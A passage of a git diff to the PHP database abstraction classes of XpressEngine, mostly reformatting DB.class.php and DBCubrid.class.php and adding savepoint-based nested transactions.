fwrite($fp, $buff); + fclose($fp); + } + } + } - /** - * DB transaction commit - * this method is protected - * @return boolean - */ - function _commit(){ - return TRUE; - } + /** + * set error + * @param int $errno error code + * @param string $errstr error message + * @return void + */ + function setError($errno = 0, $errstr = 'success') + { + $this->errno = $errno; + $this->errstr = $errstr; + } - /** - * DB transaction commit - * @param boolean $force regardless transaction start status or connect status, forced to commit - * @return void - */ - function commit($force = FALSE) { - if (!$force && (!$this->isConnected() || !$this->transaction_started)) - return; - if($this->_commit()) - $this->transaction_started = FALSE; - } + /** + * Return error status + * @return boolean true: error, false: no error + */ + function isError() + { + return $this->errno === 0 ? FALSE : TRUE; + } - /** - * Execute the query - * this method is protected - * @param string $query - * @param resource $connection - * @return void - */ - function __query($query, $connection){ + /** + * Returns object of error info + * @return object object of error + */ + function getError() + { + $this->errstr = Context::convertEncodingStr($this->errstr); + return new Object($this->errno, $this->errstr); + } - } + /** + * Execute Query that result of the query xml file + * This function finds xml file or cache file of $query_id, compiles it and then execute it + * @param string $query_id query id (module.queryname) + * @param array|object $args arguments for query + * @param array $arg_columns column list. if you want get specific colums from executed result, add column list to $arg_columns + * @return object result of query + */ + function executeQuery($query_id, $args = NULL, $arg_columns = NULL) + { + static $cache_file = array(); - /** - * Execute the query - * this method is protected - * @param string $query - * @param resource $connection - * @return resource - */ - function _query($query, $connection = NULL) { - if($connection == NULL) - $connection = $this->_getConnection('master'); - // Notify to start a query execution - $this->actStart($query); + if(!$query_id) + { + return new Object(-1, 'msg_invalid_queryid'); + } + if(!$this->db_type) + { + return; + } - // Run the query statement - $result = $this->__query($query, $connection); + $this->actDBClassStart(); - // Notify to complete a query execution - $this->actFinish(); - // Return result - return $result; - } + $this->query_id = $query_id; - /** - * DB info settings - * this method is protected - * @return void - */ - function _setDBInfo(){ - $db_info = Context::getDBInfo(); - $this->master_db = $db_info->master_db; - if($db_info->master_db["db_hostname"] == $db_info->slave_db[0]["db_hostname"] - && $db_info->master_db["db_port"] == $db_info->slave_db[0]["db_port"] - && $db_info->master_db["db_userid"] == $db_info->slave_db[0]["db_userid"] - && $db_info->master_db["db_password"] == $db_info->slave_db[0]["db_password"] - && $db_info->master_db["db_database"] == $db_info->slave_db[0]["db_database"] - ) - $this->slave_db[0] = &$this->master_db; - else - $this->slave_db = $db_info->slave_db; - $this->prefix = $db_info->master_db["db_table_prefix"]; - $this->use_prepared_statements = $db_info->use_prepared_statements; - } + if(!isset($cache_file[$query_id]) || !file_exists($cache_file[$query_id])) + { + $id_args = explode('.', $query_id); + if(count($id_args) == 2) + { + $target = 'modules'; + $module = $id_args[0]; + $id = $id_args[1]; + } + elseif(count($id_args) == 3) + { + $target = $id_args[0]; + $typeList = array('addons' => 1, 'widgets' => 1); + if(!isset($typeList[$target])) + { + $this->actDBClassFinish(); + return; + } + $module = $id_args[1]; + $id = $id_args[2]; + } + if(!$target || !$module || !$id) + { + $this->actDBClassFinish(); + return new Object(-1, 'msg_invalid_queryid'); + } - /** - * DB Connect - * this method is protected - * @param array $connection - * @return void - */ - function __connect($connection){ + $xml_file = sprintf('%s%s/%s/queries/%s.xml', _XE_PATH_, $target, $module, $id); + if(!file_exists($xml_file)) + { + $this->actDBClassFinish(); + return new Object(-1, 'msg_invalid_queryid'); + } - } + // look for cache file + $cache_file[$query_id] = $this->checkQueryCacheFile($query_id, $xml_file); + } + $result = $this->_executeQuery($cache_file[$query_id], $args, $query_id, $arg_columns); - /** - * If have a task after connection, add a taks in this method - * this method is protected - * @param resource $connection - * @return void - */ - function _afterConnect($connection){ + $this->actDBClassFinish(); + // execute query + return $result; + } - } + /** + * Look for query cache file + * @param string $query_id query id for finding + * @param string $xml_file original xml query file + * @return string cache file + */ + function checkQueryCacheFile($query_id, $xml_file) + { + // first try finding cache file + $cache_file = sprintf('%s%s%s.%s.%s.cache.php', _XE_PATH_, $this->cache_file, $query_id, __ZBXE_VERSION__, $this->db_type); - /** - * DB Connect - * this method is protected - * @param string $type 'master' or 'slave' - * @param int $indx number in slave dbms server list - * @return void - */ - function _connect($type = 'master', $indx = 0) { - if ($this->isConnected($type, $indx)) - return; + if(file_exists($cache_file)) + { + $cache_time = filemtime($cache_file); + } + else + { + $cache_time = -1; + } - // Ignore if no DB information exists - if (!$this->_dbInfoExists()) - return; + // if there is no cache file or is not new, find original xml query file and parse it + if($cache_time < filemtime($xml_file) || $cache_time < filemtime(_XE_PATH_ . 'classes/db/DB.class.php') || $cache_time < filemtime(_XE_PATH_ . 'classes/xml/XmlQueryParser.150.class.php')) + { + require_once(_XE_PATH_ . 'classes/xml/XmlQueryParser.150.class.php'); + $oParser = new XmlQueryParser(); + $oParser->parse($query_id, $xml_file, $cache_file); + } - if ($type == 'master') - $connection = &$this->master_db; - else - $connection = &$this->slave_db[$indx]; + return $cache_file; + } - $result = $this->__connect($connection); - if($result === NULL || $result === FALSE) { - $connection["is_connected"] = FALSE; - return; - } + /** + * Execute query and return the result + * @param string $cache_file cache file of query + * @param array|object $source_args arguments for query + * @param string $query_id query id + * @param array $arg_columns column list. if you want get specific colums from executed result, add column list to $arg_columns + * @return object result of query + */ + function _executeQuery($cache_file, $source_args, $query_id, $arg_columns) + { + global $lang; - // Check connections - $connection["resource"] = $result; - $connection["is_connected"] = TRUE; + if(!file_exists($cache_file)) + { + return new Object(-1, 'msg_invalid_queryid'); + } - // Save connection info for db logs - $this->connection = ucfirst($type) . ' ' . $connection["db_hostname"]; + if($source_args) + { + $args = clone $source_args; + } - $this->_afterConnect($result); - } + $output = include($cache_file); - /** - * Start recording DBClass log - * @return void - */ - function actDBClassStart() { - $this->setError(0, 'success'); - $this->act_dbclass_start = getMicroTime(); - $this->elapsed_dbclass_time = 0; - } + if((is_a($output, 'Object') || is_subclass_of($output, 'Object')) && !$output->toBool()) + { + return $output; + } - /** - * Finish recording DBClass log - * @return void - */ - function actDBClassFinish() { - if(!$this->query) return; - $this->act_dbclass_finish = getMicroTime(); - $elapsed_dbclass_time = $this->act_dbclass_finish - $this->act_dbclass_start; - $this->elapsed_dbclass_time = $elapsed_dbclass_time; - $GLOBALS['__dbclass_elapsed_time__'] += $elapsed_dbclass_time; - } + // execute appropriate query + switch($output->getAction()) + { + case 'insert' : + case 'insert-select' : + $this->resetCountCache($output->tables); + $output = $this->_executeInsertAct($output); + break; + case 'update' : + $this->resetCountCache($output->tables); + $output = $this->_executeUpdateAct($output); + break; + case 'delete' : + $this->resetCountCache($output->tables); + $output = $this->_executeDeleteAct($output); + break; + case 'select' : + $arg_columns = is_array($arg_columns) ? $arg_columns : array(); + $output->setColumnList($arg_columns); + $connection = $this->_getConnection('slave'); + $output = $this->_executeSelectAct($output, $connection); + break; + } - /** - * Returns a database specific parser instance - * used for escaping expressions and table/column identifiers - * - * Requires an implementation of the DB class (won't work if database is not set) - * this method is singleton - * - * @param boolean $force force load DBParser instance - * @return DBParser - */ - function &getParser($force = FALSE){ - static $dbParser = NULL; - if(!$dbParser || $force) { - $oDB = &DB::getInstance(); - $dbParser = $oDB->getParser(); - } + if($this->isError()) + { + $output = $this->getError(); + } + else if(!is_a($output, 'Object') && !is_subclass_of($output, 'Object')) + { + $output = new Object(); + } + $output->add('_query', $this->query); + $output->add('_elapsed_time', sprintf("%0.5f", $this->elapsed_time)); - return $dbParser; - } + return $output; + } - } -?> + /** + * Returns counter cache data + * @param array|string $tables tables to get data + * @param string $condition condition to get data + * @return int count of cache data + */ + function getCountCache($tables, $condition) + { + return FALSE; + if(!$tables) + { + return FALSE; + } + if(!is_dir($this->count_cache_path)) + { + return FileHandler::makeDir($this->count_cache_path); + } + + $condition = md5($condition); + + if(!is_array($tables)) + { + $tables_str = $tables; + } + else + { + $tables_str = implode('.', $tables); + } + + $cache_path = sprintf('%s/%s%s', $this->count_cache_path, $this->prefix, $tables_str); + if(!is_dir($cache_path)) + { + FileHandler::makeDir($cache_path); + } + + $cache_filename = sprintf('%s/%s.%s', $cache_path, $tables_str, $condition); + if(!file_exists($cache_filename)) + { + return FALSE; + } + + $cache_mtime = filemtime($cache_filename); + + if(!is_array($tables)) + { + $tables = array($tables); + } + foreach($tables as $alias => $table) + { + $table_filename = sprintf('%s/cache.%s%s', $this->count_cache_path, $this->prefix, $table); + if(!file_exists($table_filename) || filemtime($table_filename) > $cache_mtime) + { + return FALSE; + } + } + + $count = (int) FileHandler::readFile($cache_filename); + return $count; + } + + /** + * Save counter cache data + * @param array|string $tables tables to save data + * @param string $condition condition to save data + * @param int $count count of cache data to save + * @return void + */ + function putCountCache($tables, $condition, $count = 0) + { + return FALSE; + if(!$tables) + { + return FALSE; + } + if(!is_dir($this->count_cache_path)) + { + return FileHandler::makeDir($this->count_cache_path); + } + + $condition = md5($condition); + + if(!is_array($tables)) + { + $tables_str = $tables; + } + else + { + $tables_str = implode('.', $tables); + } + + $cache_path = sprintf('%s/%s%s', $this->count_cache_path, $this->prefix, $tables_str); + if(!is_dir($cache_path)) + { + FileHandler::makeDir($cache_path); + } + + $cache_filename = sprintf('%s/%s.%s', $cache_path, $tables_str, $condition); + + FileHandler::writeFile($cache_filename, $count); + } + + /** + * Reset counter cache data + * @param array|string $tables tables to reset cache data + * @return boolean true: success, false: failed + */ + function resetCountCache($tables) + { + return FALSE; + if(!$tables) + { + return FALSE; + } + if(!is_dir($this->count_cache_path)) + { + return FileHandler::makeDir($this->count_cache_path); + } + + if(!is_array($tables)) + { + $tables = array($tables); + } + foreach($tables as $alias => $table) + { + $filename = sprintf('%s/cache.%s%s', $this->count_cache_path, $this->prefix, $table); + FileHandler::removeFile($filename); + FileHandler::writeFile($filename, ''); + } + + return TRUE; + } + + /** + * Returns supported database list + * @return array list of supported database + */ + function getSupportedDatabase() + { + $result = array(); + + if(function_exists('mysql_connect')) + { + $result[] = 'MySQL'; + } + if(function_exists('cubrid_connect')) + { + $result[] = 'Cubrid'; + } + if(function_exists('ibase_connect')) + { + $result[] = 'FireBird'; + } + if(function_exists('pg_connect')) + { + $result[] = 'Postgre'; + } + if(function_exists('sqlite_open')) + { + $result[] = 'sqlite2'; + } + if(function_exists('mssql_connect')) + { + $result[] = 'MSSQL'; + } + if(function_exists('PDO')) + { + $result[] = 'sqlite3(PDO)'; + } + + return $result; + } + + /** + * Drop tables + * @param string $table_name + * @return void + */ + function dropTable($table_name) + { + if(!$table_name) + { + return; + } + $query = sprintf("drop table %s%s", $this->prefix, $table_name); + $this->_query($query); + } + + /** + * Return select query string + * @param object $query + * @param boolean $with_values + * @return string + */ + function getSelectSql($query, $with_values = TRUE) + { + $select = $query->getSelectString($with_values); + if($select == '') + { + return new Object(-1, "Invalid query"); + } + $select = 'SELECT ' . $select; + + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $from = ' FROM ' . $from; + + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $tableObjects = $query->getTables(); + $index_hint_list = ''; + foreach($tableObjects as $tableObject) + { + if(is_a($tableObject, 'CubridTableWithHint')) + { + $index_hint_list .= $tableObject->getIndexHintString() . ', '; + } + } + $index_hint_list = substr($index_hint_list, 0, -2); + if($index_hint_list != '') + { + $index_hint_list = 'USING INDEX ' . $index_hint_list; + } + + $groupBy = $query->getGroupByString(); + if($groupBy != '') + { + $groupBy = ' GROUP BY ' . $groupBy; + } + + $orderBy = $query->getOrderByString(); + if($orderBy != '') + { + $orderBy = ' ORDER BY ' . $orderBy; + } + + $limit = $query->getLimitString(); + if($limit != '') + { + $limit = ' LIMIT ' . $limit; + } + + return $select . ' ' . $from . ' ' . $where . ' ' . $index_hint_list . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; + } + + /** + * Given a SELECT statement that uses click count + * returns the corresponding update sql string + * for databases that don't have click count support built in + * (aka all besides CUBRID) + * + * Function does not check if click count columns exist! + * You must call $query->usesClickCount() before using this function + * + * @param $queryObject + */ + function getClickCountQuery($queryObject) + { + $new_update_columns = array(); + $click_count_columns = $queryObject->getClickCountColumns(); + foreach($click_count_columns as $click_count_column) + { + $click_count_column_name = $click_count_column->column_name; + + $increase_by_1 = new Argument($click_count_column_name, null); + $increase_by_1->setColumnOperation('+'); + $increase_by_1->ensureDefaultValue(1); + + $update_expression = new UpdateExpression($click_count_column_name, $increase_by_1); + $new_update_columns[] = $update_expression; + } + $queryObject->columns = $new_update_columns; + return $queryObject; + } + + /** + * Return delete query string + * @param object $query + * @param boolean $with_values + * @param boolean $with_priority + * @return string + */ + function getDeleteSql($query, $with_values = TRUE, $with_priority = FALSE) + { + $sql = 'DELETE '; + + $sql .= $with_priority ? $query->getPriority() : ''; + $tables = $query->getTables(); + + $sql .= $tables[0]->getAlias(); + + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $sql .= ' FROM ' . $from; + + $where = $query->getWhereString($with_values); + if($where != '') + { + $sql .= ' WHERE ' . $where; + } + + return $sql; + } + + /** + * Return update query string + * @param object $query + * @param boolean $with_values + * @param boolean $with_priority + * @return string + */ + function getUpdateSql($query, $with_values = TRUE, $with_priority = FALSE) + { + $columnsList = $query->getUpdateString($with_values); + if($columnsList == '') + { + return new Object(-1, "Invalid query"); + } + + $tables = $query->getFromString($with_values); + if($tables == '') + { + return new Object(-1, "Invalid query"); + } + + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $priority = $with_priority ? $query->getPriority() : ''; + + return "UPDATE $priority $tables SET $columnsList " . $where; + } + + /** + * Return insert query string + * @param object $query + * @param boolean $with_values + * @param boolean $with_priority + * @return string + */ + function getInsertSql($query, $with_values = TRUE, $with_priority = FALSE) + { + $tableName = $query->getFirstTableName(); + $values = $query->getInsertString($with_values); + $priority = $with_priority ? $query->getPriority() : ''; + + return "INSERT $priority INTO $tableName \n $values"; + } + + /** + * Return index from slave server list + * @return int + */ + function _getSlaveConnectionStringIndex() + { + $max = count($this->slave_db); + $indx = rand(0, $max - 1); + return $indx; + } + + /** + * Return connection resource + * @param string $type use 'master' or 'slave'. default value is 'master' + * @param int $indx if indx value is NULL, return rand number in slave server list + * @return resource + */ + function _getConnection($type = 'master', $indx = NULL) + { + if($type == 'master') + { + if(!$this->master_db['is_connected']) + { + $this->_connect($type); + } + $this->connection = 'Master ' . $this->master_db['db_hostname']; + return $this->master_db["resource"]; + } + + if($indx === NULL) + { + $indx = $this->_getSlaveConnectionStringIndex($type); + } + + if(!$this->slave_db[$indx]['is_connected']) + { + $this->_connect($type, $indx); + } + + $this->connection = 'Slave ' . $this->slave_db[$indx]['db_hostname']; + return $this->slave_db[$indx]["resource"]; + } + + /** + * check db information exists + * @return boolean + */ + function _dbInfoExists() + { + if(!$this->master_db) + { + return FALSE; + } + if(count($this->slave_db) === 0) + { + return FALSE; + } + return TRUE; + } + + /** + * DB disconnection + * this method is protected + * @param resource $connection + * @return void + */ + function _close($connection) + { + + } + + /** + * DB disconnection + * @param string $type 'master' or 'slave' + * @param int $indx number in slave dbms server list + * @return void + */ + function close($type = 'master', $indx = 0) + { + if(!$this->isConnected($type, $indx)) + { + return; + } + + if($type == 'master') + { + $connection = &$this->master_db; + } + else + { + $connection = &$this->slave_db[$indx]; + } + + $this->_close($connection["resource"]); + + $connection["is_connected"] = FALSE; + } + + /** + * DB transaction start + * this method is protected + * @return boolean + */ + function _begin() + { + return TRUE; + } + + /** + * DB transaction start + * @return void + */ + function begin() + { + if(!$this->isConnected()) + { + return; + } + + if($this->_begin($this->transationNestedLevel)) + { + $this->transaction_started = TRUE; + $this->transationNestedLevel++; + } + } + + /** + * DB transaction rollback + * this method is protected + * @return boolean + */ + function _rollback() + { + return TRUE; + } + + /** + * DB transaction rollback + * @return void + */ + function rollback() + { + if(!$this->isConnected() || !$this->transaction_started) + { + return; + } + if($this->_rollback($this->transationNestedLevel)) + { + $this->transationNestedLevel--; + + if(!$this->transationNestedLevel) + { + $this->transaction_started = FALSE; + } + } + } + + /** + * DB transaction commit + * this method is protected + * @return boolean + */ + function _commit() + { + return TRUE; + } + + /** + * DB transaction commit + * @param boolean $force regardless transaction start status or connect status, forced to commit + * @return void + */ + function commit($force = FALSE) + { + if(!$force && (!$this->isConnected() || !$this->transaction_started)) + { + return; + } + if($this->transationNestedLevel == 1 && $this->_commit()) + { + $this->transaction_started = FALSE; + $this->transationNestedLevel = 0; + } + else + { + $this->transationNestedLevel--; + } + } + + /** + * Execute the query + * this method is protected + * @param string $query + * @param resource $connection + * @return void + */ + function __query($query, $connection) + { + + } + + /** + * Execute the query + * this method is protected + * @param string $query + * @param resource $connection + * @return resource + */ + function _query($query, $connection = NULL) + { + if($connection == NULL) + { + $connection = $this->_getConnection('master'); + } + // Notify to start a query execution + $this->actStart($query); + + // Run the query statement + $result = $this->__query($query, $connection); + + // Notify to complete a query execution + $this->actFinish(); + // Return result + return $result; + } + + /** + * DB info settings + * this method is protected + * @return void + */ + function _setDBInfo() + { + $db_info = Context::getDBInfo(); + $this->master_db = $db_info->master_db; + if($db_info->master_db["db_hostname"] == $db_info->slave_db[0]["db_hostname"] + && $db_info->master_db["db_port"] == $db_info->slave_db[0]["db_port"] + && $db_info->master_db["db_userid"] == $db_info->slave_db[0]["db_userid"] + && $db_info->master_db["db_password"] == $db_info->slave_db[0]["db_password"] + && $db_info->master_db["db_database"] == $db_info->slave_db[0]["db_database"] + ) + { + $this->slave_db[0] = &$this->master_db; + } + else + { + $this->slave_db = $db_info->slave_db; + } + $this->prefix = $db_info->master_db["db_table_prefix"]; + $this->use_prepared_statements = $db_info->use_prepared_statements; + } + + /** + * DB Connect + * this method is protected + * @param array $connection + * @return void + */ + function __connect($connection) + { + + } + + /** + * If have a task after connection, add a taks in this method + * this method is protected + * @param resource $connection + * @return void + */ + function _afterConnect($connection) + { + + } + + /** + * DB Connect + * this method is protected + * @param string $type 'master' or 'slave' + * @param int $indx number in slave dbms server list + * @return void + */ + function _connect($type = 'master', $indx = 0) + { + if($this->isConnected($type, $indx)) + { + return; + } + + // Ignore if no DB information exists + if(!$this->_dbInfoExists()) + { + return; + } + + if($type == 'master') + { + $connection = &$this->master_db; + } + else + { + $connection = &$this->slave_db[$indx]; + } + + $result = $this->__connect($connection); + if($result === NULL || $result === FALSE) + { + $connection["is_connected"] = FALSE; + return; + } + + // Check connections + $connection["resource"] = $result; + $connection["is_connected"] = TRUE; + + // Save connection info for db logs + $this->connection = ucfirst($type) . ' ' . $connection["db_hostname"]; + + $this->_afterConnect($result); + } + + /** + * Start recording DBClass log + * @return void + */ + function actDBClassStart() + { + $this->setError(0, 'success'); + $this->act_dbclass_start = getMicroTime(); + $this->elapsed_dbclass_time = 0; + } + + /** + * Finish recording DBClass log + * @return void + */ + function actDBClassFinish() + { + if(!$this->query) + { + return; + } + $this->act_dbclass_finish = getMicroTime(); + $elapsed_dbclass_time = $this->act_dbclass_finish - $this->act_dbclass_start; + $this->elapsed_dbclass_time = $elapsed_dbclass_time; + $GLOBALS['__dbclass_elapsed_time__'] += $elapsed_dbclass_time; + } + + /** + * Returns a database specific parser instance + * used for escaping expressions and table/column identifiers + * + * Requires an implementation of the DB class (won't work if database is not set) + * this method is singleton + * + * @param boolean $force force load DBParser instance + * @return DBParser + */ + function &getParser($force = FALSE) + { + static $dbParser = NULL; + if(!$dbParser || $force) + { + $oDB = DB::getInstance(); + $dbParser = $oDB->getParser(); + } + + return $dbParser; + } + +} +/* End of file DB.class.php */ +/* Location: ./classes/db/DB.class.php */ diff --git a/classes/db/DBCubrid.class.php b/classes/db/DBCubrid.class.php index 8debbbcd3..4a4b26f53 100644 --- a/classes/db/DBCubrid.class.php +++ b/classes/db/DBCubrid.class.php @@ -1,241 +1,263 @@ 'numeric(20)', + 'number' => 'integer', + 'varchar' => 'character varying', + 'char' => 'character', + 'tinytext' => 'character varying(256)', + 'text' => 'character varying(1073741823)', + 'bigtext' => 'character varying(1073741823)', + 'date' => 'character varying(14)', + 'float' => 'float', + ); + + /** + * constructor + * @return void + */ + function DBCubrid() { + $this->_setDBInfo(); + $this->_connect(); + } - /** - * prefix of XE tables(One more XE can be installed on a single DB) - * @var string - */ - var $prefix = 'xe_'; - /** - * max size of constant in CUBRID(if string is larger than this, '...'+'...' should be used) - * @var int - */ - var $cutlen = 12000; - var $comment_syntax = '/* %s */'; + /** + * Create an instance of this class + * @return DBCubrid return DBCubrid object instance + */ + function create() + { + return new DBCubrid; + } - /** - * column type used in CUBRID - * - * column_type should be replaced for each DBMS's type - * becasue it uses commonly defined type in the schema/query xml - * @var array - **/ - var $column_type = array( - 'bignumber' => 'numeric(20)', - 'number' => 'integer', - 'varchar' => 'character varying', - 'char' => 'character', - 'tinytext' => 'character varying(256)', - 'text' => 'character varying(1073741823)', - 'bigtext' => 'character varying(1073741823)', - 'date' => 'character varying(14)', - 'float' => 'float', - ); - - /** - * constructor - * @return void - */ - function DBCubrid() + /** + * Return if supportable + * Check 'cubrid_connect' function exists. + * @return boolean + */ + function isSupported() + { + if(!function_exists('cubrid_connect')) { - $this->_setDBInfo(); - $this->_connect(); + return FALSE; + } + return TRUE; + } + + /** + * DB Connect + * this method is private + * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password + * @return resource + */ + function __connect($connection) + { + // attempts to connect + $result = @cubrid_connect($connection["db_hostname"], $connection["db_port"], $connection["db_database"], $connection["db_userid"], $connection["db_password"]); + + // check connections + if(!$result) + { + $this->setError(-1, 'database connect fail'); + return; } - /** - * Create an instance of this class - * @return DBCubrid return DBCubrid object instance - */ - function create() + if(!defined('__CUBRID_VERSION__')) { - return new DBCubrid; + $cubrid_version = cubrid_get_server_info($result); + $cubrid_version_elem = explode('.', $cubrid_version); + $cubrid_version = $cubrid_version_elem[0] . '.' . $cubrid_version_elem[1] . '.' . $cubrid_version_elem[2]; + define('__CUBRID_VERSION__', $cubrid_version); } - /** - * Return if supportable - * Check 'cubrid_connect' function exists. - * @return boolean - */ - function isSupported() + if(__CUBRID_VERSION__ >= '8.4.0') + cubrid_set_autocommit($result, CUBRID_AUTOCOMMIT_TRUE); + + return $result; + } + + /** + * DB disconnection + * this method is private + * @param resource $connection + * @return void + */ + function _close($connection) + { + @cubrid_commit($connection); + @cubrid_disconnect($connection); + $this->transaction_started = FALSE; + } + + /** + * Handles quatation of the string variables from the query + * @param string $string + * @return string + */ + function addQuotes($string) + { + if(version_compare(PHP_VERSION, "5.9.0", "<") && + get_magic_quotes_gpc()) { - if (!function_exists('cubrid_connect')) return FALSE; - return TRUE; + $string = stripslashes(str_replace("\\", "\\\\", $string)); } - /** - * DB Connect - * this method is private - * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password - * @return resource - */ - function __connect($connection) + if(!is_numeric($string)) { - // attempts to connect - $result = @cubrid_connect($connection["db_hostname"], $connection["db_port"], $connection["db_database"], $connection["db_userid"], $connection["db_password"]); - - // check connections - if (!$result) { - $this->setError (-1, 'database connect fail'); - return; - } - - if(!defined('__CUBRID_VERSION__')) { - $cubrid_version = cubrid_get_server_info($result); - $cubrid_version_elem = explode('.', $cubrid_version); - $cubrid_version = $cubrid_version_elem[0] . '.' . $cubrid_version_elem[1] . '.' . $cubrid_version_elem[2]; - define('__CUBRID_VERSION__', $cubrid_version); - } - - if(__CUBRID_VERSION__ >= '8.4.0') - cubrid_set_autocommit($result, CUBRID_AUTOCOMMIT_TRUE); - - return $result; - } - - /** - * DB disconnection - * this method is private - * @param resource $connection - * @return void - */ - function _close($connection) - { - @cubrid_commit ($connection); - @cubrid_disconnect ($connection); - $this->transaction_started = FALSE; - } - - /** - * Handles quatation of the string variables from the query - * @param string $string - * @return string - */ - function addQuotes($string) - { - if (version_compare (PHP_VERSION, "5.9.0", "<") && - get_magic_quotes_gpc ()) { - $string = stripslashes (str_replace ("\\","\\\\", $string)); - } - - if (!is_numeric ($string)) { /* - if ($this->isConnected()) { - $string = cubrid_real_escape_string($string); - } - else { - $string = str_replace("'","\'",$string); - } - */ + if ($this->isConnected()) { + $string = cubrid_real_escape_string($string); + } + else { + $string = str_replace("'","\'",$string); + } + */ - $string = str_replace("'","''",$string); - } - - return $string; + $string = str_replace("'", "''", $string); } - /** - * DB transaction start - * this method is private - * @return boolean - */ - function _begin() - { - if(__CUBRID_VERSION__ >= '8.4.0') - { - $connection = $this->_getConnection('master'); - cubrid_set_autocommit($connection, CUBRID_AUTOCOMMIT_FALSE); - } - return TRUE; - } + return $string; + } - /** - * DB transaction rollback - * this method is private - * @return boolean - */ - function _rollback() - { - $connection = $this->_getConnection('master'); - @cubrid_rollback ($connection); - return TRUE; - } - - /** - * DB transaction commit - * this method is private - * @return boolean - */ - function _commit() + /** + * DB transaction start + * this method is private + * @return boolean + */ + function _begin($transactionLevel) + { + if(__CUBRID_VERSION__ >= '8.4.0') { $connection = $this->_getConnection('master'); - @cubrid_commit($connection); - return TRUE; + + if(!$transactionLevel) + { + cubrid_set_autocommit($connection, CUBRID_AUTOCOMMIT_FALSE); + } + else + { + $this->_query("SAVEPOINT SP" . $transactionLevel, $connection); + } + } + return TRUE; + } + + /** + * DB transaction rollback + * this method is private + * @return boolean + */ + function _rollback($transactionLevel) + { + $connection = $this->_getConnection('master'); + + $point = $transactionLevel - 1; + + if($point) + { + $this->_query("ROLLBACK TO SP" . $point, $connection); + } + else + { + @cubrid_rollback($connection); } - /** - * Execute the query - * this method is private - * @param string $query - * @param resource $connection - * @return resource - */ - function __query($query, $connection) + return TRUE; + } + + /** + * DB transaction commit + * this method is private + * @return boolean + */ + function _commit() + { + $connection = $this->_getConnection('master'); + @cubrid_commit($connection); + return TRUE; + } + + /** + * Execute the query + * this method is private + * @param string $query + * @param resource $connection + * @return resource + */ + function __query($query, $connection) + { + if($this->use_prepared_statements == 'Y') { - if($this->use_prepared_statements == 'Y') + $req = @cubrid_prepare($connection, $query); + if(!$req) { - $req = @cubrid_prepare($connection, $query); - if(!$req) - { - $this->_setError(); - return false; - } + $this->_setError(); + return false; + } - $position = 0; - if($this->param) + $position = 0; + if($this->param) + { + foreach($this->param as $param) { - foreach($this->param as $param) + $value = $param->getUnescapedValue(); + $type = $param->getType(); + + if($param->isColumnName()) { - $value = $param->getUnescapedValue(); - $type = $param->getType(); - - if($param->isColumnName()) continue; + continue; + } - switch($type) - { - case 'number' : - $bind_type = 'numeric'; - break; - case 'varchar' : - $bind_type = 'string'; - break; - default: - $bind_type = 'string'; - } + switch($type) + { + case 'number' : + $bind_type = 'numeric'; + break; + case 'varchar' : + $bind_type = 'string'; + break; + default: + $bind_type = 'string'; + } - if(is_array($value)){ - foreach($value as $v) - { - $bound = @cubrid_bind($req, ++$position, $v, $bind_type); - if(!$bound) - { - $this->_setError(); - return false; - } - } - } - else + if(is_array($value)) + { + foreach($value as $v) { - $bound = @cubrid_bind($req, ++$position, $value, $bind_type); + $bound = @cubrid_bind($req, ++$position, $v, $bind_type); if(!$bound) { $this->_setError(); @@ -243,764 +265,929 @@ } } } + else + { + $bound = @cubrid_bind($req, ++$position, $value, $bind_type); + if(!$bound) + { + $this->_setError(); + return false; + } + } } - - $result = @cubrid_execute($req); - if(!$result) - { - $this->_setError(); - return false; - } - return $req; - } - // Execute the query - $result = @cubrid_execute ($connection, $query); - // error check - if (!$result) { + + $result = @cubrid_execute($req); + if(!$result) + { $this->_setError(); return false; } - // Return the result - return $result; + return $req; + } + // Execute the query + $result = @cubrid_execute($connection, $query); + // error check + if(!$result) + { + $this->_setError(); + return false; + } + // Return the result + return $result; + } + + /** + * Retrieve CUBRID error and set to object + * + * @author Corina Udrescu (dev@xpressengine.org) + */ + function _setError() + { + $code = cubrid_error_code(); + $msg = cubrid_error_msg(); + + $this->setError($code, $msg); + } + + /** + * Fetch the result + * @param resource $result + * @param int|NULL $arrayIndexEndValue + * @return array + */ + function _fetch($result, $arrayIndexEndValue = NULL) + { + $output = array(); + if(!$this->isConnected() || $this->isError() || !$result) + { + return array(); } - /** - * Retrieve CUBRID error and set to object - * - * @author Corina Udrescu (dev@xpressengine.org) - */ - function _setError() + if($this->use_prepared_statements == 'Y') { - $code = cubrid_error_code (); - $msg = cubrid_error_msg (); - $this->setError ($code, $msg); } - /** - * Fetch the result - * @param resource $result - * @param int|NULL $arrayIndexEndValue - * @return array - */ - function _fetch($result, $arrayIndexEndValue = NULL) - { - $output = array(); - if (!$this->isConnected() || $this->isError() || !$result) return array(); + // TODO Improve this piece of code + // This code trims values from char type columns + $col_types = cubrid_column_types($result); + $col_names = cubrid_column_names($result); + $max = count($col_types); - if($this->use_prepared_statements == 'Y') + for($count = 0; $count < $max; $count++) + { + if(preg_match("/^char/", $col_types[$count]) > 0) { - + $char_type_fields[] = $col_names[$count]; } - - // TODO Improve this piece of code - // This code trims values from char type columns - $col_types = cubrid_column_types ($result); - $col_names = cubrid_column_names ($result); - $max = count ($col_types); - - for ($count = 0; $count < $max; $count++) { - if (preg_match ("/^char/", $col_types[$count]) > 0) { - $char_type_fields[] = $col_names[$count]; - } - } - - while ($tmp = cubrid_fetch ($result, CUBRID_OBJECT)) { - if (is_array ($char_type_fields)) { - foreach ($char_type_fields as $val) { - $tmp->{$val} = rtrim ($tmp->{$val}); - } - } - - if($arrayIndexEndValue) $output[$arrayIndexEndValue--] = $tmp; - else $output[] = $tmp; - } - - unset ($char_type_fields); - - if ($result) cubrid_close_request($result); - - if(count($output)==1){ - // If call is made for pagination, always return array - if(isset($arrayIndexEndValue)) return $output; - // Else return object instead of array - else return $output[0]; - } - return $output; } - /** - * Return the sequence value incremented by 1 - * Auto_increment column only used in the CUBRID sequence table - * @return int - */ - function getNextSequence() + while($tmp = cubrid_fetch($result, CUBRID_OBJECT)) { - $this->_makeSequence(); + if(is_array($char_type_fields)) + { + foreach($char_type_fields as $val) + { + 